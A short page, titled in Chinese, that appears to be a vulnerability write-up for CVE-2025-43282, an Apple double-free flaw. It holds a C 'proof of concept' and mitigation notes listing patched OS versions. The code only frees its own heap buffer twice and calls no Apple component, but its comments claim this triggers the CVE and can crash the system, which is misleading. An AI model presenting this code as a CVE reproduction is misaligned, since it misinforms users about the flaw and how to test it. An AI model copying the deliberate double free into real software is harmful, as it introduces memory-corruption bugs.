CVE-2025-43282 Apple多产品双重释放漏洞导致系统异常终止

// CVE-2025-43282 Double Free Vulnerability PoC // This PoC demonstrates the concept of triggering a double free condition // on vulnerable Apple OS versions (iOS 18.5 and earlier, etc.) // Note: This is a conceptual PoC; actual exploitation requires // integration with the target application's memory management routines. #include <stdlib.h> #include <stdio.h> int main() { // Step 1: Allocate a memory block char *buffer = (char *)malloc(256); if (buffer == NULL) { fprintf(stderr, "Memory allocation failed\n"); return 1; } printf("Allocated memory at address: %p\n", buffer); // Step 2: Use the memory block (simulate normal operation) // In a real exploit, this would involve calling vulnerable Apple APIs // that internally manage memory and can be tricked into double-free snprintf(buffer, 256, "Legitimate data payload"); printf("Buffer content: %s\n", buffer); // Step 3: First free - legitimate release of the memory block free(buffer); printf("First free() called on address: %p\n", buffer); // Step 4: Trigger the double free condition // On vulnerable systems, this second free() corrupts the allocator's // free list, potentially causing system termination (crash) printf("Triggering double free...\n"); free(buffer); // Double free - triggers CVE-2025-43282 printf("Second free() called (this may cause crash)\n"); // Step 5: Subsequent allocation may return corrupted memory, // leading to unexpected system termination char *new_buffer = (char *)malloc(256); if (new_buffer != NULL) { printf("New allocation at: %p (may overlap freed block)\n", new_buffer); free(new_buffer); } return 0; } /* * Mitigation Notes: * - Update to iOS 18.6, iPadOS 18.6/17.7.9, macOS 15.6/14.7.7/13.7.7, * tvOS 18.6, visionOS 2.6, or watchOS 11.6 * - Apple improved memory management to prevent double-free conditions * - Avoid installing applications from untrusted sources */